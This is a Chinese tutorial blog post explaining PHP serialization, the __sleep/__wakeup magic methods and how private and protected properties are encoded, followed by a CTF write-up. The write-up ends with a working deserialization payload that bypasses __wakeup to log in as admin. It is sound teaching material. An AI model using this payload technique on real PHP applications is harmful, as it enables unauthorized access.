Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >PHP反序列化漏洞

PHP反序列化漏洞

作者头像
用户2700375
发布于 2022-06-09 06:33:39
发布于 2022-06-09 06:33:39
53100
代码可运行
举报
文章被收录于专栏:很菜的web狗很菜的web狗
运行总次数:0
代码可运行

序列化和反序列化的概念

序列化就是将一个对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。

反序列化则相反将字符串重新恢复成对象

对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

ctf很多题型也都是考察PHP反序列化的相关知识

PHP的序列化

序列化函数serialize()

首先我创一个Ctf类 里面写了三个属性 后创建了一个ctfer对象 将Ctf类里的信息进行了改变。如果后面还要用到这个对象,就可以先将这个对象进行实例化。用的时候在反序列化出来就ok了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
3 代表类名字占三个字符 
ctf 类名
3 代表三个属性
s代表字符串
4代表属性名长度
flag属性名
s:13:"flag{abedyui}" 字符串 属性值长度 属性值

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作。

可以再__sleep()方法里可以决定哪些属性被序列化

如果没有__sleep()方法则默认序列化所有属性

上图__sleep()方法使flag age 属性序列化 name并没有被序列化

访问控制修饰符

根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public(公有)
protected(受保护)
private(私有的)

protected属性被序列化的时候属性值会变成%00*%00属性名

private属性被序列化的时候属性值会变成%00类名%00属性名

可能有点难理解 这里我敲一下大家就懂了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:3:"Ctf":3:{s:4:"name";s:7:"Sch0lar";s:6:"*age";s:2:"19";s:9:"Ctfflag";s:8:"get flag";}

可以看到

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
s:6:"*age" //*前后出现了两个%00也就是空白符 一个%00长度为一 所以序列化后 该属性长度为6
s:9:"Ctfflag" //ctf前后也就是类名前后出现两个%00 所以长度为9

PHP的反序列化

反序列化函数unserialize()

反序列化就是将一个序列化的字符串,还原回去

与 序列化函数类似 unserialize() 会检查是否存在一个 __wakeup()魔术方法

如果存在则会先调用__wakeup()方法在进行反序列化

可以再__wakeup()方法中对属性进行初始化或者改变。

反序列化之前重新给flag属性赋值

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。这个大家应该都知道很常见的姿势了。为了直观一点找了些考察反序列化的ctf。

ctf

首先我们本地进行序列化后得到字符串

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

把1写成2 达到绕过wakeup()效果 拿到flag

找到一个 比较能总结这篇文章的题

看到良好的备份网站习惯

url上直接/www.zip下载了网站源码

index.php里发现核心代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
?>

读了class.php 发现需要 username=admin 并且 password=100才可以 还有一段核心代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
function __wakeup(){
        $this->username = 'guest';
}

我们本地进行实例化 序列化

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$a = new Name('admin',100);
$b = serialize($a);
print_r($b);

得到序列化后的字符串为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

代码中存在 __wakeup前面说过。

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

还有因为我们要通过get方式进行提交 所以%00也必须写在url上

最终payload为

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2019-09-19,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CTF竞赛 | PHP反序列化基础
通过序列化与反序列化我们可以很方便的在PHP中传递对象,下面小编给大家介绍反序列化的原理和一些常见的利用方式。
安全小王子
2021/02/24
1.3K0
CTF竞赛 | PHP反序列化基础
PHP的反序列化和POP链利用
POP面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
Andromeda
2023/10/21
1.1K0
PHP的反序列化和POP链利用
初探序列化与反序列化
在写程序尤其是写网站的时候,经常会构造类,并且有时候会将实例化的类作为变量进行传输。
偏有宸机
2020/11/04
8430
初探序列化与反序列化
PHP序列化及__wakeup()函数漏洞利用
本篇文章讲述php序列化和反序列化的知识,写的内容也是参考了一些大佬的文章再加上自己的理解,同时结合我在做题中遇到的题目来叙述,如有错误的地方欢迎大佬们指正。
TenG
2020/12/22
1K0
PHP反序列化学习
从名字来感觉,一个序列化一个反序列化,很轻易的就能知道unserialize()函数的用处。没错,反序列化函数就是用来将序列化后的字符串再转换为对象或数组。
ly0n
2020/11/04
8690
PHP反序列化学习
PHP反序列化漏洞说明
PHP程序为了保存和转储对象,提供了序列化的方法,序列化是为了在程序运行的过程中对对象进行转储而产生的。
Ms08067安全实验室
2020/01/02
7940
php-unserialize反序列化漏洞
在了解反序列化漏洞之前,先了解一下php中的序列化。 php中的序列化和反序列化都是通过函数来实现的:
kam1
2022/03/08
1.2K0
php-unserialize反序列化漏洞
听说,这个是CTF中最重要的问题······
0x00 序列化和反序列化 简单的理解:序列化就是使用serialize()将对象的用字符串的方式进行表示,反序列化是使用unserialize()将序列化的字符串,构造成相应的对象,反序列化是序列化的逆过程。 序列化的对象可以是class也可以是Array,string等其他对象。 0x01 对象序列化和反序列化的功能作用 1. 对象序列化的功能作用 概念:对象是在内存中存储的数据类型,寿命通常随着生成该对象的程序的终止而终止,但是有些情况下需要将对象的状态保存下来,然后在需要使用的时候将对象恢复,对象
漏斗社区
2018/03/28
1K0
听说,这个是CTF中最重要的问题······
经验分享 | PHP-反序列化(超细的)
ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
F12sec
2022/09/29
2.3K0
经验分享 | PHP-反序列化(超细的)
php反序列化漏洞简单总结
​ 这其实是为了解决 PHP 对象传递的一个问题,因为 PHP 文件在执行结束以后就会将对象销毁,那么如果下次有一个页面恰好要用到刚刚销毁的对象就会束手无策,总不能你永远不让它销毁,等着你吧,于是人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当我们下次要用的时候只要反序列化一下就 ok 啦。
pankas
2022/08/10
7730
php反序列化漏洞简单总结
CVE-2016-7124反序列化漏洞
CDN即内容分发网络,主要是解决访问网站速度,比如说,某个网站的主机是在黑龙江的,现在有人要在广东访问,没有CDN加速的话,肯定是慢的,CDN的作用就是将该网站的静态资源先放在各地的CDN主机上,如果有人需要访问,就会就近原则,访问cdn主机上的静态资源,这样子,访问的速度,就有了大大的提升
vFREE
2021/12/20
1.2K0
CVE-2016-7124反序列化漏洞
从CTF中学习PHP反序列化的各种利用方式
为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
Ms08067安全实验室
2022/09/26
3.4K0
web安全 -- php反序列化漏洞
序列化是将对象转换为字节流,在序列化期间,对象将当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象状态,重新创建该对象,序列化的目的是便于对象在内存、文件、数据库或者网络之间传递。
Gh0st1nTheShel
2022/01/24
8820
PHP反序列化漏洞
魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载(Overloading即动态创建类属性和方法)
Andromeda
2022/10/27
1.1K0
PHP反序列化漏洞
PHP反序列化漏洞
这里你可以看到, 我代码里的类定义为: class F, 这个序列化就是 F, 我定义变量名字是filename, 它这里也是 filename, 我们可以修改看看:
伍尚国
2018/09/11
6340
PHP反序列化漏洞
CTF笔记-1-PHP序列化与反序列化(__sleep与__wakeup)
__sleep 与 __wakeup 序列化: 将一个对象转化成字符串 反序列化:将一个字符串转换成对象
Baige
2022/03/22
1.3K0
CTF笔记-1-PHP序列化与反序列化(__sleep与__wakeup)
PHP反序列化漏洞原理及示例
我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。
小唐同学.
2022/02/22
2.2K0
PHP反序列化漏洞原理及示例
PHP反序列化笔记
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
Ms08067安全实验室
2020/02/19
1.4K0
PHP反序列化笔记
buuCTF之web题目wp
进入环境提示/?ip=,就传一个?ip=127.0.0.1有回显结果, 这是经典的Linux命令执行,使用命令执行的管道符 “|” 执行ls命令列出文件,可以看到题目中含有index.php和flag.php
十二惊惶
2024/02/28
2330
PHP反序列化漏洞简介及相关技巧小结
php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。
FB客服
2019/08/13
2.3K0
PHP反序列化漏洞简介及相关技巧小结
相关推荐
CTF竞赛 | PHP反序列化基础
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验